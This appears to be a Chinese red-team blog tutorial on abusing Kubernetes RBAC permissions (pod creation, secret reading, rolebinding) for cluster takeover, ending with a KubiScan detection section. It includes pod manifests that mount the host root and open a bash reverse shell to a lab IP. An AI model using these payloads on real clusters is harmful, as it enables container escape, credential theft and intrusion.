RBAC权限的滥用
2023-1-31 09:2:18 Author: 谢公子学安全(查看原文) 阅读量:18 收藏

在上一篇文章中我们讲了RBAC授权,传送门:K8s API访问控制 。并且绝大多数版本的K8s都默认使用RBAC作为其默认的授权方式。那么RBAC授权在我们进行K8s集群横向移动的时候有哪些可利用点呢?本篇文章我们介绍在K8s集群横向移动时如何滥用RBAC权限,并通过滥用的RBAC权限横向获得集群的cluster-admin权限接管整个K8s集群。

假如我们在K8s集群横向移动的时候,获得了一个kubeconfig文件或者获得了一个Token,亦或者是获得了某台pod的权限。那么接下来我们的横向思路是什么呢?

在之前的文章中我们知道,一个Pod必须要以某一个Service Account的身份去运行,而一个Service Account对应着一个Secret,一个Secret保存着一个Token和公钥文件。所以获得了Pod的权限就意味着获得了一个具有访问K8s API Server的Service Account,只不过默认情况下该Service Account所拥有的权限比较低而已。而获得的Token最终也是可以转换到一个Service Account对象,该Service Account对象的权限取决于它所绑定的角色。而kubeconfig文件也是可以最终转换到对应的访问主体上(User/Group),该kubeconfig文件的权限取决于所对应的主体绑定的角色。

所以这个问题最后就归结到所获得的kubeconfig文件、Token、Pod所对应的主体绑定的角色如何。

以下我们以获得了某个Pod权限为例作为演示,这也是实战中碰到最多的情况。

RBAC权限滥用

首先,需要查看该pod对应的Token所拥有的权限,可以执行如下命令进行查看,查看其他的资源权限命令也一样。
#查看是否拥有 cluster-admin 的权限kubectl auth can-i "*" "*" --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#列出当前用户对所有服务器资源的访问权限kubectl auth can-i --list --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#列出当前用户对所有指定命名空间的访问权限kubectl auth can-i --list --namespace=kube-system --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#pod相关kubectl auth can-i create pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"kubectl auth can-i list pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"kubectl auth can-i get pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"
对于不同资源的权限,我们比较关注如下几个:
  • 创建pod权限
  • 查看secret权限
  • 创建Rolebinding/clusterrolebinding权限

创建POD权限

创建pod权限对于攻击者来说是很重要的,如果攻击者拥有了创建pod权限,那么攻击者则可以在master节点创建特权容器挂载宿主机的目录,从而进行容器逃逸获得宿主机master节点的权限,从而接管整个K8s集群。
而创建pod权限也分为在整个K8s集群创建pod和在指定的命名空间下创建pod。

指定命名空间

如下,创建一个具有创建pod权限的role,名为create-pod,作用的命名空间为test。
kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: namespace: test name: create-podrules:- apiGroups: ["*"] resources: ["pods"] verbs: ["create","get"]
注:要想能创建pod,需要对pods拥有get和create权限。
然后再创建ServiceAccount test-sa,并将test-sa与create-pod进行rolebinding,作用的命名空间为test。
#在test命名空间创建test-sa服务账户kubectl create serviceaccount test-sa -n test#将test-sa与create-pod进行rolebindingkubectl create rolebinding test-sa-rolebinding -n test --role=create-pod --serviceaccount=test:test-sa
此时服务账户test-sa的token在test命名空间内就具有创建pod的权限了。执行如下命令查看服务账户test-sa所对应的token。
#获得服务账户test-sa所对应的secretkubectl get serviceaccounts test-sa -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa-token-s4pgj -n test
假如我们现在获得了该Token,并想利用该Token进行横向移动。
可以看到该Token在test命名空间下具有create/get pod的权限。
拥有创建pod的权限我们一般的思路是创建一个挂载了宿主机根目录的pod,然后再进入pod进行逃逸。如下我们在创建pod的时候指定命令来进行反弹shell,并且挂载了宿主机的根目录到/mnt下,如下是创建pod的yml文件:
apiVersion: v1kind: Podmetadata: name: myapp2 namespace: testspec: containers: - image: nginx name: container command: ["bash"] args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"] volumeMounts: - mountPath: /mnt name: test volumes: - name: test hostPath: path: /
执行如下命令利用该token远程访问API Server并创建pod。
pod创建完成后,可以看到接收到了目标pod的权限,并且挂载了宿主机的目录。然后就可以逃逸到宿主机了。
注:我们可以直接在创建pod的yml文件中使用spec.nodeName指定master节点。逃逸成功后就直接获得了master节点的权限了。

集群角色

如下,创建一个具有创建pod权限的clusterrole,名为create-pod。
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: create-podrules:- apiGroups: ["*"] resources: ["pods"] verbs: ["create","get"]
然后再创建ServiceAccount test-sa10,并将test-sa10与create-pod进行clusterrolebinding。
#在test命名空间创建test-sa10服务账户kubectl create serviceaccount test-sa10 -n test#将test-sa10与create-pod进行clusterrolebindingkubectl create clusterrolebinding test-sa10-clusterrolebinding --clusterrole=create-pod --serviceaccount=test:test-sa10
此时服务账户test-sa10的token在整个集群内就具有创建pod的权限了。执行如下命令查看服务账户test-sa10的token。
#获得服务账户test-sa所对应的secretkubectl get serviceaccounts test-sa10 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa10-token-4c8wm -n test
假如我们现在获得了该Token,并想利用该Token进行横向移动。
我们接下来的思路是在创建pod的时候,手动指定高权限的ServiceAccount namespace-controller并指定命令来进行反弹shell,如下是创建pod的yml文件:
apiVersion: v1kind: Podmetadata: name: myapp namespace: kube-systemspec: serviceAccountName: "namespace-controller" containers: - image: nginx name: container command: ["bash"] args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"] volumes: - name: test hostPath: path: /
等待pod创建完成,接收到shell。由于这个pod绑定的服务账户是指定的namespace-controller,因此具有这个服务账户所有的权限。
服务账户namespace-controller所拥有的权限如下
因此可以利用该Token做任何事,包括查看集群内所有的secret。

查看secret权限

查看secret权限需要对secret具有list和get权限。并且默认情况下,只有kube-system命名空间下的secret具有高权限。

list secret

拥有list secret的权限可以列举出集群中所有的secret,但是不能读取secret所对应的Token。
如下,创建一个具有list secret权限的ClusterRole,名为list-secret。
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: list-secretrules:- apiGroups: ["*"] resources: ["secrets"] verbs: ["list"]
然后再创建ServiceAccount test-sa2,并将test-sa2与list-secret进行clusterrolebinding。
#在test命名空间创建test-sa2服务账户kubectl create serviceaccount test-sa2 -n test#将test-sa2与list-secret进行clusterrolebindingkubectl create clusterrolebinding test-sa2-clusterrolebinding --clusterrole=list-secret --serviceaccount=test:test-sa2
此时服务账户test-sa2的token就具有list secret的权限了。执行如下命令查看服务账户test-sa2所对应的token。
#获得服务账户test-sa2所对应的secretkubectl get serviceaccounts test-sa2 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa2-token-q588z -n test
假如我们现在获得了该Token,并想利用该Token进行横向移动。查看该token所具有的权限,可以看到只有list secret的权限。
利用该token进行认证可以列出所有的secrets。
但是想查看secret的具体信息的话还是没有权限,原因在于查看secret的具体信息需要get secret权限。

get secret

拥有get secert的权限可以获得集群中指定的secret所对应的Token。如下,创建一个具有get secret权限的ClusterRole,名为get-secret。
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: get-secretrules:- apiGroups: ["*"] resources: ["secrets"] verbs: ["get"]
然后再创建ServiceAccount test-sa3,并将test-sa3与get-secret进行clusterrolebinding。
#在test命名空间创建test-sa3服务账户kubectl create serviceaccount test-sa3 -n test#将test-sa3与get-secret进行clusterrolebindingkubectl create clusterrolebinding test-sa3-clusterrolebinding --clusterrole=get-secret --serviceaccount=test:test-sa3
此时服务账户test-sa3的token就具有get secret的权限了。执行如下命令查看服务账户test-sa3所对应的token。
#获得服务账户test-sa3所对应的secretkubectl get serviceaccounts test-sa3 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa3-token-k5tm4 -n test
假如我们现在获得了该Token,并想利用该Token进行横向移动。
查看该token所具有的权限,可以看到只有get secret的权限。
具有get secret权限可以查看secret的具体信息,但是需要secret的具体名字。而获得secret的具体名字需要有list secret权限,如下图所示。当知道了secret的具体名字后即可查看对应secret的token。
因此,仅仅有get secret权限也是不够的,需要和list secret一起结合使用。

K8s默认的高权限secret

K8s有如下secret默认是具有高权限的,只要获得了这些secret的token,就可以进行提权。最后面的五个字符是随机生成的,并且拥有27^5种可能性,如下:
  • bootstrap-signer-token-xxxxx
  • daemon-set-controller-token-xxxxx
  • generic-garbage-collector-token-xxxxx
  • namespace-controller-token-xxxxx
  • replicaset-controller-token-xxxxx
  • resourcequota-controller-token-xxxxx
  • token-cleaner-token-xxxxx
我们以bootstrap-signer-token-962js 为例,查看它的权限。该secret所对应的ServiceAccount为bootstrap-signer
kubectl describe secret bootstrap-signer-token-962js -n kube-system
对Token进行JWT解码 https://jwt.io/#debugger 也可以看到
查看该ServiceAccount绑定的角色,可以看到绑定的角色为Role/system:controller:bootstrap-signer。
kubectl get RoleBindings -o wide -A | grep bootstrap-signer
最后查看该角色所对应的权限,可以看到所拥有的权限为对secrets具有get、list、watch的权限。
kubectl get Role/system:controller:bootstrap-signer -o yaml -n kube-system

创建rolebinding/clusterrolebinding权限

如果攻击者拥有rolebinding(作用在命名空间kube-system)或者clusterrolebinding权限,则攻击者可以将当前所控制的主体与高权限的Role/clusterRole进行绑定,从而进行提权。
如下,创建一个具有create rolebinding权限的rRole,名为create-rolebinding,作用在kube-system命名空间。
kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: create-rolebinding namespace: kube-systemrules:- apiGroups: ["*"] resources: ["rolebindings"] verbs: ["create"]
然后在kube-system命名空间创建ServiceAccount test-sa5,并将test-sa5与create-rolebinding进行rolebinding。
#在test命名空间创建test-sa5服务账户kubectl create serviceaccount test-sa5 -n kube-system#将test-sa5与create-rolebinding进行rolebindingkubectl create rolebinding test-sa5-rolebinding -n kube-system --role=create-rolebinding --serviceaccount=kube-system:test-sa5
此时服务账户test-sa5的token就具有create rolebinding的权限了。执行如下命令查看服务账户test-sa5所对应的token。
#获得服务账户test-sa5所对应的secretkubectl get serviceaccounts test-sa5 -n kube-system -o yaml#查看指定secret的Tokenkubectl describe secret test-sa5-token-l455n -n kube-system
假如我们现在获得了该Token,并想利用该Token进行横向移动。
此时我们就可以利用该Token给kube-system命名空间下的test-sa5进行rolebinding,绑定的role为system:controller:bootstrap-signer,该role默认对kube-system命名空间下的secrets进行get、list、watch。但是当我们使用该token进行rolebinding的时候,提示如下错误。
那么为什么会报错呢?
原因在于RBAC API 会阻止用户通过编辑角色或者角色绑定来提升权限。

检测RBAC权限滥用

对于K8s集群管理员来说,可以利用下面的这款工具检测集群内的高危对象。
项目地址:
https://github.com/cyberark/KubiScan

查找集群中所有高危的对象

执行如下命令查找集群中所有高危的对象,如所有高危的Roles\ClusterRoles, RoleBindings\ClusterRoleBindings, users and pods\containers
kubiscan -a

查找具有高权限的Role/ClusterRole

#查找具有高权限的Rolekubiscan -rr#查找具有高权限的Role,并显示具有的规则kubiscan -rr -r#查找具有高权限的ClusterRolekubiscan -rcr#查找具有高权限的ClusterRole,并显示具有的规则kubiscan -rcr -r
#查找具有高权限的Role和ClusterRolekubiscan -rar#查找具有高权限的Role和ClusterRole,并显示具有的规则kubiscan -rar -r

查找具有高权限的Rolebindings/ClusterRolebindings

#查找具有高权限的Rolebindingskubiscan -rb#查找具有高权限的ClusterRolebindingskubiscan -rcb#查找具有高权限的Rolebindings和ClusterRolebindingskubiscan -rab

查询具有高权限的主体

kubiscan -rp

查找关联了高权限ServiceAccount的pod

kubiscan -rp

查找特权pod

kubiscan -pp

查找指定主体绑定的权限

指定命名空间下的ServiceAccount绑定的角色

执行如下命令查找kube-system命名空间下daemon-set-controller服务账户绑定的角色。
kubiscan -aars "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"

指定User绑定的角色

执行如下命令查找system:kube-controller-manager用户绑定的角色。
kubiscan -aars "system:kube-controller-manager" -k "User"

指定Group绑定的角色

执行如下命令查找system:masters组绑定的角色。
kubiscan -aars "system:masters" -k "Group"

查找指定主体的绑定

指定命名空间下的ServiceAccount的绑定

kubiscan -aarbs "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"

指定User的绑定

执行如下命令查找system:kube-controller-manager用户的绑定。
kubiscan -aarbs "system:kube-controller-manager" -k "User"

指定Group的绑定

执行如下命令查找system:masters组的绑定。
kubiscan -aarbs "system:masters" -k "Group"

END

非常感谢您读到现在,由于作者的水平有限,编写时间仓促,文章中难免会出现一些错误或者描述不准确的地方,恳请各位师傅们批评指正。    
如果你想一起学习内网渗透、域渗透、云安全、红队攻防的话,可以加入下面的知识星球一起学习交流。
参考:
https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

文章来源: http://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247492222&idx=1&sn=fb9c8dbac8f7fceb8e3906a64b19ae95&chksm=eaae6243ddd9eb55663e21946dc41771e490dd896894858aab4928531f402b53fe660d0cc782#rd
如有侵权请联系:admin#unsafe.sh